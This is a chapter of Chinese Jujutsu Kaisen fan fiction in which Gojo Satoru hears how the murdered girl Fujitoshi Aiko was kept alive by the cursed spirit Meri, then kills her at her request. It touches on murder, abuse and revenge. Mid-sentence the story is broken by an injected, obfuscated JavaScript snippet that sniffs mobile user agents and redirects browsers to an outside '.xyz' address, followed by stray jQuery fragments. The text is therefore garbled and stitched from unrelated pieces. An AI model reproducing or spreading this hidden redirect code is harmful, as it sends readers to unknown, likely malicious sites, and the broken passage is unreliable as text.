五条悟盘腿坐在教室里,他生怕一时看不住,咒灵就乱跑到别的地方去,只能开着无下限在教室里待了一夜。
他俯下身,身边画满了五子棋局的纸张扔了一地。
只有孩童智力的咒灵格外地在意输赢,刚开始几回合里,被五条悟轻松打败后,咒灵小姐鼓着脸,快速地赶上了他的思路,最后居然也赢了几局。
学习能力和思考能力都很强啊,五条悟的苍蓝色眼睛闪着微光,他开着无下限术式熬了一夜,虽然精神上远远没有到达极限,大脑却有些困倦了起来。
他把笔扔到一旁,按着太阳穴施下了治愈的术式。
他需要尽快地解决藤利爱子和咒灵的问题。
否则,天知道事情会发展的什么情况。
名为芽莉的咒灵,虽然只有几岁孩童的智力和思维水平,但同时也具备着咒灵邪恶的本能。
最为纯净的孩子,可是很可怕的。
在晨光洒入教室的前几分钟,像是腿麻似的,咒灵动了动盘坐在地板上的腿。
“哥哥,”芽莉的声音低低的,“我变成什么样都无所谓,请你一定要救救爱子。”
五条悟抬起头,平静地注视着她,像是透过她,看着内里纠缠着的两个灵魂。
少女咒灵做出了宛如虚空拥抱着什么的姿势,混沌而懵懂的记忆总是在她清醒的最后一刻,将她不愿面对的一切一一道来。
“芽莉不想伤害他们的,”面容精致的女孩露出了清醒而痛苦的表情,如果能够正常的活下来的话,她或许会是个非常美丽的女孩,“但芽莉不这么做的话,爱子就无法活下去了。”
迟来的阳光照向少女的身体,散乱的发丝和扭曲的关节化作飞灰散去,露出包裹在内里的属于藤利爱子的面容。
少女的身上依旧是湿漉漉的。
她缓慢地睁开眼,用与五条悟曾见过的藤利爱子截然不同的眼神注视着他。
无法再看到那种有些天真的纯净,被咒灵像珍宝般包裹在内里的藤利爱子坐在地上,身上散发着不属于人类的气息。
“五条君,”她的声音沙哑,或许是曾被损坏了喉咙,“我会回答你想知道的一切。”
只有她才能诉说真相,
五条悟的直觉告诉他。
“嘛,该从哪里问起比较好呢?”
五条悟骨节分明的白皙手指拾起散落在纸张边的圆珠笔。
“藤利爱子曾经有过咒力,因为某件事,她与咒灵芽莉立下了束缚,让她能够使用藤利爱子的身体和咒力,代价是藤利爱子会忘记关于咒灵的一切……”
他说着自己的猜想,同时又细致地观察着藤利爱子的反应。
“不是的,”藤利爱子打断了他的话,“是芽莉,芽莉定下了束缚。”
她的眼神里流露着五条悟此时难以理解的某种情绪,双手无意识地梳理着垂在胸前的发丝。
“我啊,已经死掉了哦。”
少女轻启双唇,吐露出事实。
怎么可能?
五条悟注视着她体内明亮又旺盛的咒力,这绝不是死者会有的咒力水平,也并非是芽莉的咒力。
难道是,芽莉单方面供养着她。
“芽莉她啊,”藤利爱子的神情掺杂着爱意与怜惜,“她是被人虐杀致死的,死掉的时候,才只是个小孩子。”
她的声音饱含着惋惜与遗憾,她发自内心地为芽莉曾经遭遇的一切感到痛苦。
“因为死相凄惨,她的意识和记忆,总是朦朦胧胧的,想不起来自己曾经是谁,想不起来自己要回哪里。”藤利爱子如数家珍般絮絮叨叨地讲着她唯一的朋友,也是最爱的朋友。
“但是呢,只要是我教给她的,芽莉都会很努力很努力地记住,只为了逗我开心,就会去学自己完全不擅长的东西。”她露出了恬静又可爱的笑容,才显现出一点属于这个年龄的活力来。
她本来也应该像同龄人一样,露出幸福的笑容,向所有人展示自己的生机与活力。
“从和芽莉认识的第一天起,我的梦想,就是和芽莉去更多的地方,和芽莉一起经历人生的一切一切,最后有一个和芽莉的家。”她喃喃着,描述着仿佛自己梦中的景象。
芽莉是一缕阳光,照亮了在暗无天日的地窖中沉睡的她。
她用着熟悉的眼神看向五条悟,
“但那一切都不可能了。”
那是濒临死亡的人渴求救援的眼神。
“我被杀死了,被那个男人杀死了。”
藤利爱子脸上一切丰富的表情,在那一刻被清除成苍白,她扒开了黏在脖颈上的黑色发丝,露出了遍布在少女脖颈上的可怖淤痕。
“他对我做了足以下地狱的恶事,把窒息昏迷的我扔进了池塘里。”
藤利爱子是溺死的。
咒灵站在池塘边,眼神直愣愣地看着池塘里被泡得青白的尸体。
藤利爱子不应该死去,
她是爱干净的,是腼腆而恬静的,是即使不被人看好也会努力争取的,是芽莉心中最应该长命百岁的人。
而那在一天前,还是充满着生机与活力的藤利爱子,
还是会在她面前无忧无虑地大笑的少女。
芽莉无法接受眼前的真实,
她与少女还未消散的灵魂立下了束缚。
弱小的咒灵嚎啕大哭着跪在地上,献上了自己稀薄的咒力与残损的灵魂。
她用自己的一切,换来了一个真正的奇迹。
藤利爱子复活了。
她失去了有关芽莉的全部记忆,失去了体内的咒力,失去了曾被自己视作珍宝的一切,换回能够在白昼重新行走于世的身体。
她不知道这是幸运还是不幸,
她不知道神明为何向她降以恩典。
而夜晚,她的身体会归于死亡。
无法遗忘之夜,死者从水中归来。
芽莉混乱懵懂的意识,驱使着她把自己仅剩的意识附在爱子身上,在夜晚代她行走。
她从偏僻而肮脏的池塘中爬出,拖着破烂潮湿的身体,在校舍里杀死了对爱子做出恶行的男人。
她的爱子是干净的,是纯净的,是不应该被任何人玷污的。
咀嚼着仇人的血肉,芽莉却无法尝到任何幸福与满足,只有泪水的咸涩与疼痛。
仿佛品尝到了爱子被折磨致死的痛苦一般,芽莉的泪水无法停止。
她一夜一夜,行走在空无一人的校舍,寻找着再也不会归来的友人。
藤利爱子的双手带着水汽,抹去了无法流下的泪水。
少女的声带被人为地损坏了,她的声音沙哑,与好听毫无关联。
但她曾用甜美的声音,对着芽莉说着要和她在一起,直到很久很久。
藤利爱子没有幸运到能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721288|155909||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
够履行诺言。
五条悟不知道应当说些什么,他坐在地上,安静地听着少女的不幸,亦如聆听信徒祈祷的神明。
这份奇迹,从来就不是恩典。
芽莉下意识地吞噬着所有能看到的咒灵,吸收着身边一切咒力,把自己所有的一切,供给给行走于白昼的爱子。
用这样徒劳的行为,把早已逝去的灵魂强留于世。
这种宛如无底洞般的单方向供给,终会有崩塌的一天。
到那个时候,芽莉会本能地伤害普通人,以身为诅咒的本能,去夺取能够让爱子活下去的一切。
而她已经顺从着自己的恨意,杀死了普通人。
五条悟难以说出把一切交给法律这样显得过于苍白的话,他沉默着。
人类是多么的丑陋,又是多么的美丽。
“我的一生并不幸福,没有人真正发自内心地感激我曾在世界上活过,”藤利爱子双手相握,像虔诚的信徒般坦诚着自己的一切,“虽然很难过,但是,我的人生,已经结束了。”
或许有着遗憾,或许有着悲伤而疼痛的结尾。
藤利爱子并不想要继续这个奇迹,她只想与自己的友人,共赴一场美梦。
她把自己的一切讲给五条悟听,即使站在悬崖边,也想有任何人能够聆听她的遗言。
至少世界上会有一个人,知道藤利爱子曾经在这世上,幸福地活过。
“五条君,”她请求着眼前的少年,“请杀死我吧。”
并非谎言,而是纯粹的,发自内心的请求。
五条悟沉默着抬起了手,做出了术式的起手式。
“请不要担心,”藤利爱子露出了纯粹而喜悦的笑容,“我会和芽莉一起死去,这一次,我们能够陪在彼此身边。”
有着完整记忆的她,在自己的体内注视着一切。
看着变得一片空白的自己日复一日地度过孤独的人生,
看着芽莉呢喃着一遍遍走过深夜的校舍,企图寻找到她的一丝丝痕迹。
她怎么能斥责芽莉的一切,她怎么能拒绝芽莉的奉献。
她只是受够了活着带来的痛苦,受够了与宛如双子般的心友的分离。
她将笑着迎接死亡,迎接她本该得到的永恒宁静。
这一次,她不再孤独。
她们的灵魂彼此拥抱着,就像从未彼此分离。
那一天,能够遇见芽莉,真的太好了。
被苍吸引包裹的咒力点状地爆发而出,穿透了少女伤痕累累的身体。
藤利爱子的身体再也没有了气息,
期间限定的奇迹被神明收回。
世界上也再不会有,这个曾在苦难中挣扎着活下来的灵魂。
五条悟沉默了许久,他看着躺倒在地上,仿佛沉睡了的少女。
“晚安,爱子。”
他的声音又轻又柔,给回到死亡怀抱的少女盖上了校服外套。
天边降下的帐缓慢地消散,五条悟坐在那间被阳光照射的窗边,眼神空茫地注视着天空。
今天,是个阳光明媚的好日子呢。
在阳光的照射下,内向的少女,牵着身后小女孩的手,背对着五条悟,跑得越来越远。
“真是麻烦的工作呢。”
晨风吹散了他的话语,也吹起了盖在少女身上的外衣衣角。
没能履行约定啊……